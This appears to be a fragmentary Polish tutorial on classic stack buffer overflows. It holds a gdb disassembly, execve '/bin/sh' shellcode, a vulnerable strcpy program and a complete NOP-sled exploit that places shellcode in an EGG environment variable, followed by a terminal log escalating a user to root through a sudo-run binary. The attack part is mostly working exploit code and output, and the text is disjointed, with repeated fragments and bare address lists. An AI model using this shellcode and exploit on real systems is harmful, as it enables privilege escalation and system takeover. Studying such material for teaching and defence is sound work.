0x080483c0
0x080483c2
0x080483c5
0x080483c8
0x080483cd
0x080483cf
0x080483d6
0x080483dd
0x080483e5
0x080483e8
0x080483ec
0x080483ef
0x080483f2
0x080483f7
0x080483fe
0x08048401
0x08048405
0x0804840c
0x08048411
0x08048412
0x08048413
|
|
void function(int a, int b, int c) Na stos trafia:
|
|
void funkcja (int a, int b, int c)
{
int *wsk;
wsk = &a - 1;
*wsk += 7;
}
int main ()
{
int a, b;
a = 1;
b = 2;
funkcja(a,b,3);
a = 5;
printf("%d\n", a);
}
Dump of assembler code for function main: to jest wynik działania gdb
0x080483bf : push %ebp
0x080483c0 : mov %esp,%ebp
0x080483c2 : sub $0x18,%esp
0x080483c5 : and $0xfffffff0,%esp
0x080483c8 : mov $0x0,%eax
0x080483cd : sub %eax,%esp
0x080483cf : movl $0x1,0xfffffffc(%ebp)
0x080483d6 : movl $0x2,0xfffffff8(%ebp)
0x080483dd : movl $0x3,0x8(%esp)
0x080483e5 : mov 0xfffffff8(%ebp),%eax
0x080483e8 : mov %eax,0x4(%esp)
0x080483ec : mov 0xfffffffc(%ebp),%eax
0x080483ef : mov %eax,(%esp)
0x080483f2 : call 0x80483a4
0x080483f7 : movl $0x5,0xfffffffc(%ebp)
0x080483fe : mov 0xfffffffc(%ebp),%eax
0x08048401 : mov %eax,0x4(%esp)
0x08048405 : movl $0x8048534,(%esp)
0x0804840c : call 0x80482d0 <_init+56>
0x08048411 : leave
0x08048412 : ret
0x08048413 : nop
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer, argv[1]); // unbounded copy, bad idea
}
#include
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
[pio@10-1-2-226 pio]$ whoami
pio
[pio@10-1-2-226 pio]$ ./exploit 612 #tak nazwałem naszego exploita
Using address: 0xbffff658
[pio@10-1-2-226 pio]$ sudo ./vunerable $EGG #a to ten program z prawami roota z błędem
Using address: 0xbffff8a8
[root@10-1-2-226 pio]# whoami
root
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = get_sp() - offset;
printf("Using address: 0x%x\n", addr);
addr = get_sp() - offset;
Wyliczanie adresu gdzie mamy później skoczyć
(..)
for (i = 0; i < bsize; i+=4)
Wstawienie w buforze tego adresu
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
Wstawienie na początku NOPów
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
I to co bedziemy chcieli uruchomić shellcode
|